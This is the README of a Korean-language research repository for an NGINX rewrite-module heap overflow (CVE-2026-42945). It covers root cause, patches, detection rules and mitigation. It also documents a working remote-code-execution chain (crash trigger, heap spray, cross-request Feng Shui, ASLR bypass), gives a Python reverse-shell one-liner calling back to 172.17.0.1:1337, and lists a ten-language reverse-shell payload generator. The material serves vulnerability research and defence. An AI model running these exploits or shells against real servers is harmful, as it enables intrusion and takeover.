CVE-2026-42945에 대한 전체 연구 저장소: 힙 버퍼 오버플로우 분석, RCE 익스플로잇(힙 스프레이 + Feng Shui), 탐지 스크립트, NGINX rewrite 모듈 취약점에 대한 패치 가이드 포함.
| Metric | Value |
|---|
| CVSS v4.0 | 9.2 (위험) |
| CVSS v3.1 | 8.1 (높음) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — 힙 기반 버퍼 오버플로우 |
| 도입됨 | 2008년 6월 — v0.6.27 |
| 발견됨 | 2026년 4월 — DepthFirst Research |
| 수정됨 | 2026년 5월 13일 — v1.30.1, v1.31.0 |
| CVE 게시됨 | 2026년 5월 21일 |
| 수명 | 약 18년 (미탐지) |
| 수정 커밋 | 524977e7c534e87e5b55739fa74601c9f1102686 |
인증되지 않은 원격 공격자가 특정 rewrite + set/if/rewrite 구성 패턴을 가진 서버에 조작된 HTTP 요청을 전송하여 NGINX 워커 프로세스에서 결정론적 힙 버퍼 오버플로우를 트리거할 수 있습니다. 오버플로우는 힙 메타데이터(ngx_pool_cleanup_t 포인터)를 손상시켜 힙 스프레이 및 풍수 기법을 통해 **원격 코드 실행(RCE)**을 가능하게 합니다.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Key requirements:**
- A `rewrite` directive whose replacement contains `?` (query-string separator)
- A subsequent `set`, `if`, or `rewrite` directive that references an **unnamed PCRE capture** (`$1`, `$2`, etc.)
- The `?` in the rewrite replacement triggers `ngx_http_script_start_args_code` which sets `e->is_args = 1`
### 공격자가 달성할 수 있는 것
| 능력 | 설명 |
|-----------|-------------|
| **서비스 거부(DoS)** | 작업자 프로세스를 결정적으로 충돌시켜 재시작 루프를 유발 (ASLR과 무관하게 작동) |
| **원격 코드 실행(RCE)** | ASLR이 비활성화된 경우(또는 부분 덮어쓰기로 우회 시) nginx 사용자 권한으로 완전한 RCE 달성 |
| **데이터 유출** | 메모리 읽기 프리미티브를 통해 작업자 힙에서 민감한 데이터 추출 |
| **지속성** | 작업자 프로세스 메모리에서 코드 실행을 통해 백도어 설치 |
---
## 2. 근본 원인 분석
### 두 패스 스크립트 엔진
NGINX의 `ngx_http_rewrite_module`은 `src/http/ngx_http_script.c`에서 **두 패스 스크립트 엔진**을 사용합니다.
1. **길이 패스** (`ngx_http_script_run`): 모든 스크립트 코드를 순회하며 필요한 총 버퍼 크기를 계산합니다. 길이를 `le.ip`와 `le.pos`에 기록합니다.
2. **복사 패스** (`ngx_http_script_copy_len`/`_code`): 다시 순회하며 미리 할당된 버퍼(`e->ip`, `e->pos`)에 실제 바이트를 기록합니다.
각 스크립트 코드에는 각 패스에 대한 두 개의 핸들러가 있습니다. 예를 들어:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### `is_args` 플래그
**엔진 구조체**(`ngx_http_script_engine_t`)의 `e->is_args` 플래그는 복사 패스가 특정 문자를 처리하는 방식을 제어합니다.```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
When e->is_args = 1일 때, $N 캡처 참조에 대한 복사 코드는 NGX_ESCAPE_ARGS와 함께 ngx_escape_uri()를 호출하며, 이는 다음을 확장합니다:
+ → %2B (1바이트 → 3바이트, +200%)% → %25 (1바이트 → 3바이트, +200%)& → %26 (1바이트 → 3바이트, +200%)취약한 패턴에 대한 실행 흐름:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. **재작성 평가** 중에 엔진은 대체 문자열에서 `?`를 만나 `ngx_http_script_start_args_code`를 트리거하여 `e->is_args = 1`을 설정합니다.
2. 재작성은 요청 URI를 수정한 후 다음 지시어로 계속 진행됩니다.
3. **`e->is_args`는 절대 지워지지 않습니다**.
그 다음:```
set $original_endpoint $1;
le)이 길이 패스를 위해 생성됩니다: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
이는 올바르게 le.is_args = 0으로 설정하여, 길이 전달이 원시, 이스케이프되지 않은 캡처 길이를 반환하게 합니다.
e->is_args = 1로 설정된 메인 엔진 e를 재사용합니다. 복사 전달은 URI 이스케이프를 적용하여, 원시 길이에 맞게 크기가 지정된 버퍼 내부에서 이스케이프 가능한 각 문자를 1바이트에서 3바이트로 확장합니다 — 힙 오버플로우.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
확장 비율은 `7 + (n_escapable * 2)`이며, 여기서 `n_escapable`은 캡처 내 `+`, `%`, `&`의 개수입니다.
---
## 3. 공격 메커니즘
### 개요
| 단계 | 기법 | 설명 |
|------|-----------|-------------|
| 1 | 오버플로우 | `+` 패딩이 포함된 조작된 URI를 전송하여 힙 버퍼를 오버플로우 |
| 2 | 힙 스프레이 | `/spray`에 대용량 본문을 POST하여 제어된 데이터로 힙을 채움 |
| 3 | Feng Shui | 오버플로우 대상(`ngx_pool_cleanup_t`)이 인접하도록 할당 배치 |
| 4 | 핸들러 변조 | 오버플로우가 `ngx_pool_cleanup_t.handler`를 `system()` 주소로 덮어씀 |
| 5 | 정리 트리거 | 풀 소멸을 기다렸다가 → `system(cmd)`가 공격자 명령을 실행 |
| 6 | 리버스 셸 | 대화형 접근을 위해 리버스 셸 페이로드로 연결 |
### 크로스 요청 Feng Shui
**단일 요청 Feng Shui는 실패**합니다. 오버플로우가 `cleanup` 포인터에 도달하기 전에 풀의 메타데이터(`->d.next`, `->d.failed`)를 손상시키기 때문입니다. 요청 종료 시 풀이 소멸되면, 손상된 메타데이터로 인해 **`system()`이 호출되기 전에 충돌**이 발생합니다.
대신, 익스플로잇은 **크로스 요청 Feng Shui**를 사용합니다:
1. **요청 1 (스프레이)**: `/spray`에 대용량 본문을 POST합니다. 백엔드(`server.py`)가 `X-Delay` 헤더로 응답을 보류하여 연결을 유지하고 힙 할당을 보존합니다. 스프레이는 힙을 가짜 `ngx_pool_cleanup_t` 블록으로 채웁니다.
2. **요청 2 (오버플로우)**: 오버플로우 URI를 전송합니다. 오버플로우는 풀 메타데이터가 아닌 `cleanup` 포인터만 손상시켜, 스프레이된 가짜 블록을 가리키도록 합니다.
3. **풀 소멸**: 스프레이 응답이 완료되면(지연 만료), 풀의 정리 체인이 가짜 블록으로 이동하여 `system(cmd)`를 호출합니다.
### 주소 요구 사항
| 심볼 | 값 (Docker, ASLR 해제) | 설명 |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx 힙의 기준 주소 |
| `system@libc` | `0x7ffff6f6e420` | glibc의 `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | 사이클 풀 포인터 |
| 가짜 정리 주소 | `0x5555556a4030` | 스프레이 대상 주소 |
### ASLR 우회
ASLR을 비활성화하지 않더라도 **DoS**(충돌)는 결정적으로 작동합니다. ASLR이 활성화된 상태에서 RCE를 달성하려면 두 가지 접근 방식이 있습니다:
1. **부분 덮어쓰기**: 1바이트 또는 2바이트 덮어쓰기를 사용하여 동일한 페이지 내에서 포인터를 이동시키고, 남은 니블을 브루트포싱합니다(16~256회 시도).
2. **정보 누출**: `/proc/self/maps`를 읽거나 `log_parser.py` 메모리 분석을 사용하여 레이아웃을 확인합니다.
---
## 4. 수정 분석
### 공식 수정
**커밋**: `524977e7c534e87e5b55739fa74601c9f1102686`
**파일**: `src/http/ngx_http_script.c`
**라인**: ~1205 (`ngx_http_script_regex_end_code` 내)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code는 모든 정규식 평가 후 길이 및 복사 패스 동안 실행됩니다. 여기서 e->is_args = 0을 재설정하면 다음이 보장됩니다:
set, if, rewrite)는 is_args = 0 상태로 시작합니다.ngx_http_script_start_args_code는 교체 문자열에서 ?를 만나면 여전히 is_args = 1을 설정할 수 있습니다. 이 수정은 해당 기능을 손상시키지 않습니다.patches/0002-hardening-bounds-check.patch는 ngx_http_script_copy_capture_code에 범위 검사를 추가합니다.```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### 백포트 패치
| 패치 | Nginx 버전 |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. 영향을 받는 버전
### NGINX 오픈 소스
| 범위 | 상태 |
|-------|--------|
| **0.1.0 – 0.6.26** | 영향 없음 (rewrite 모듈이 unnamed captures 이전에 존재함) |
| **0.6.27 – 1.30.0** | **취약함** (18년 기간) |
| **1.30.1** | 첫 번째 수정 릴리스 |
| **1.31.0+** | 수정됨 (메인라인) |
### NGINX Plus
| 릴리스 | 영향받는 버전 | 수정 버전 |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX 에코시스템
| 제품 | 영향받는 버전 | 상태 |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | 권고 보류 중 |
| F5 NGINX WAF | 5.9.0–5.12.1 | 권고 보류 중 |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | 권고 보류 중 |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | 권고 보류 중 |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | 권고 보류 중 |
| NGINX Agent | 2.0.0–2.35.0 | 권고 보류 중 |
---
## 6. 탐지
### 버전 확인```bash
bash detection/detect_vuln.sh
이 스크립트는 다음을 확인합니다:
rewrite + ? + capture 패턴에 대한 설정 파일python3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### 컨테이너 스캔```bash
python3 detection/container_scan.py
로컬 Docker 이미지를 스캔하여 취약한 버전을 나타내는 NGINX 레이블/환경 변수를 찾습니다.
| 규칙 세트 | 파일 | 범위 |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | 100개 이상의 연속된 + 차단, 50개 이상의 인코딩된 이스케이프 가능 문자 차단, 스프레이 엔드포인트 속도 제한 |
| Suricata/Snort | detection/suricata_rule.rules | GET URI에서 과도한 + 감지, 인코딩된 문자 플러드, /spray로의 POST 스프레이, 크래시 루프 DoS |
| Falco | detection/falco_rule.yaml | 런타임: nginx 워커에서 SIGSEGV, 크래시 루프 (60초 내 3회 이상), 힙 스프레이 POST 탐지 |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. 완화
### 즉시 (코드 변경 없음)
모든 `rewrite` 지시어에서 **이름 없는 캡처**를 **이름 있는 캡처**로 대체하십시오:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
명명된 캡처는 ngx_escape_uri(..., NGX_ESCAPE_ARGS)를 거치지 않습니다, 그래서 e->is_args = 1이 있어도 확장이 발생하지 않고 오버플로도 발생하지 않습니다.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
다음 강화 조치를 적용합니다:
- ASLR 검증 및 강제 활성화
- 작업자 프로세스 격리
- 코어 덤프 제한
- SSL/TLS 강화
- 속도 제한
- CSP 헤더
### ASLR 확인```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
## 9. 빠른 시작```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
Docker 환경:
- 커밋 `98fc3bb78`에서 NGINX 소스 빌드 (수정 전 마지막 취약한 커밋)
- GDB, valgrind, `util-linux` 포함 (`setarch -R`을 사용하여 ASLR 비활성화)
- 포트 **19321** (취약한 nginx), **19322** (보조), **19323** (Python 백엔드) 노출
- 엔트리포인트는 `setarch x86_64 -R`을 사용하여 ASLR을 비활성화해 익스플로잇 주소 레이아웃을 결정적으로 만듦
- 디버깅을 위해 `SYS_PTRACE` 능력과 `seccomp=unconfined`를 부여
### 취약한 전용```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN 컨테이너```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. 오버플로우 트리거
### 기본 충돌 (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
이는 전송합니다:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
The `+` characters in the capture `$1` get expanded 3× during the copy pass while the buffer was sized for the raw length, overflowing the heap.
### 예상 출력```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
### 문자 확장
지정된 바이트 수를 오버플로우하는 데 필요한 최소 `+` 기호 수를 계산합니다 (특정 힙 구조를 익스플로잇할 때 유용합니다).```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
주어진 접두사 길이와 이스케이프 가능 문자 수에 대한 확장 비율을 출력합니다.
이 익스플로잇은 크로스 요청 펑슈이를 구현하여 신뢰할 수 있는 코드 실행을 달성합니다:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### 기본 사용법```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### 고급 옵션
| 플래그 | 기본값 | 설명 |
|------|---------|-------------|
| `--host` | `127.0.0.1` | 대상 호스트 |
| `--port` | `19321` | 대상 포트 |
| `--cmd` | — | 실행할 명령어 (`--shell`이 아닌 경우 필수) |
| `--shell` | — | 대화형 셸 모드 사용 |
| `--tries` | `3` | 익스플로잇 시도 횟수 |
| `--delay` | `2.0` | 스프레이와 오버플로우 간 지연 시간 (초) |
| `--payload` | — | 사용자 정의 페이로드 파일 경로 |
| `--debug` | — | 상세 디버그 출력 활성화 |
### 힙 레이아웃 분석```bash
python3 exploit/heap_layout.py
실행 중인 nginx 워커 PID가 필요합니다. 다음을 찾기 위해 /proc/PID/maps를 파싱합니다:
system() 함수 주소python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
익스플로잇 페이로드 구성을 위해 이스케이프 가능 문자(`+`, `%`, `&`, `?` 등)가 포함되지 않은 힙 주소를 찾습니다.
---
## 13. 리버스 셸 검증
### 아키텍처```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| 유형 | 바이너리 | 비고 |
|---|---|---|
bash | /dev/tcp | 내장 bash TCP |
python | python3 -c | 가장 신뢰할 수 있으며 항상 사용 가능 |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | 인증서 필요 |
powershell | powershell | Windows 대상 |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### 자동 검증```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
## 14. 패치
### 수정 사항 적용```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### 백포트 적용```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. 테스트
### 단위 테스트```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
실행:
1. 단위 테스트 (pytest 또는 unittest)
2. 트리거/오버플로우 테스트 (서버가 실행 중인 경우)
3. 취약한 설정과 안전한 설정에 대한 구성 스캐너
4. 패치 드라이런 검증
### 회귀 매트릭스```bash
bash tools/regression_matrix.sh
여러 NGINX 버전(1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1)을 취약 및 안전 구성에 대해 테스트하여 크래시/무크래시 기대치를 검증합니다.
bash tools/test_all_configs.sh
Tests all config patterns (basic, advanced, ingress, gateway) with overflow triggers.
---
## 16. 퍼징
### libFuzzer 하네스
퍼저 (`fuzz/ngx_http_script_fuzz.c`)는 2패스 스크립트 엔진을 시뮬레이션합니다.
1. 입력을 스크립트 코드 시퀀스로 파싱합니다.
2. 길이 패스를 실행합니다.
3. `e->is_args = 1`로 복사 패스를 실행합니다.
4. ASAN 또는 크기 불일치를 통해 버퍼 오버플로를 감지합니다.```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Launches AFL++ with ASAN, configurable timeout, and memory limits against the fuzzing harness.
### Seed Corpus
The `fuzz/corpus/` directory contains seed inputs that reproduce the vulnerable pattern, including:
- Basic overflow trigger
- Named capture (should not overflow)
- Edge cases (empty capture, maximum size, etc.)
---
## 17. CI Pipeline
### GitHub Actions
The project uses a **single GitHub Actions CI** workflow (`.github/workflows/ci.yml`) with these jobs:
| Job | What it does |
|-----|-------------|
| `lint` | ShellCheck, Python syntax validation |
| `scan-configs` | Runs config_scanner.py against all config samples |
| `fuzz-build` | Builds the libFuzzer harness |
| `test` | Runs pytest/unittest suite |
| `detect-patch` | Verifies patch format and fix content |
| `verify-project` | Runs `tools/verify_project.sh` |
### Full Pipeline```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
파이프라인은 7단계로 실행됩니다:
| 문서 | 설명 |
|---|---|
docs/root-cause-analysis.md | 2단계 스크립트 엔진 버그에 대한 심층 기술 분석, 코드 워크스루 및 다이어그램 포함 |
docs/exploitation-guide.md | 단계별 익스플로잇, 힙 스프레이, 풍수지리, 주소 계산, ASLR 우회 |
docs/detection-guide.md | 설정 스캐닝, 로그 분석, WAF 규칙, SIEM 통합, 이상 탐지 |
docs/mitigation-guide.md | 명명된 캡처 변환, 속도 제한, WAF 배포, 업그레이드 절차 |
docs/FAQ.md | 취약점, 익스플로잇 및 수정에 관한 자주 묻는 질문 |
docs/timeline.md | 2008년 버그 도입부터 2026년 수정까지의 전체 공개 타임라인 |
docs/operational-guidance.md | 침해 대응, 포렌식, IOC 수집, 긴급 완화 |
docs/case-study.md | 킬 체인 분석을 포함한 실제 공격 시나리오 시뮬레이션 |
docs/presentation-slides.md | 발표자 노트가 포함된 컨퍼런스/미팅 프레젠테이션 |
| 지표 | 값 |
|---|---|
| 총 파일 수 | 80개 이상 |
| 디렉터리 | 13개 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Python 스크립트 | 22개 (exploit, detection, tools, shell, test) |
| 셸 스크립트 | 15개 (detection, tools, shell, test, pipelines) |
| 패치 | 5개 (수정 1개 + 강화 1개 + 백포트 3개) |
| WAF 규칙 세트 | 3개 (ModSecurity, Suricata, Falco) |
| CI 설정 | 1개 (GitHub Actions — CI만 해당) |
| 문서 | 9개의 상세 기술 문서 |
| 설정 샘플 | 7개 (취약 4개, 안전 2개, 명명된 캡처 1개 + 고급 3개) |
| 커밋 로그 | 1003개 이상의 개별 커밋 |
| 셸 유형 | 10개 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| 퍼즈 하니스 | 1개 (libFuzzer, 약 200줄 C) |
| 테스트 케이스 | 8개 단위 테스트 + 셸 러너 |
| 포함된 NGINX 버전 | 20개의 회귀 매트릭스 |
| 생애 주기 | 18년 (2008–2026) |
| 리소스 | 설명 |
|---|---|
ngx_http_script.c | NGINX 재작성 모듈의 버그가 있는 소스 파일 |
ngx_pool_cleanup_t | RCE를 위해 변조된 힙 구조 |
ngx_escape_uri() | 오버플로를 일으키는 확장 함수 |
setarch(8) | 결정론적 익스플로잇 주소를 위해 ASLR을 비활성화하는 Linux 도구 |
이 프로젝트는 교육 및 방어적 보안 연구 목적으로 제공됩니다. 취약점은 책임감 있게 공개되었으며 NGINX 유지관리자에 의해 패치되었습니다.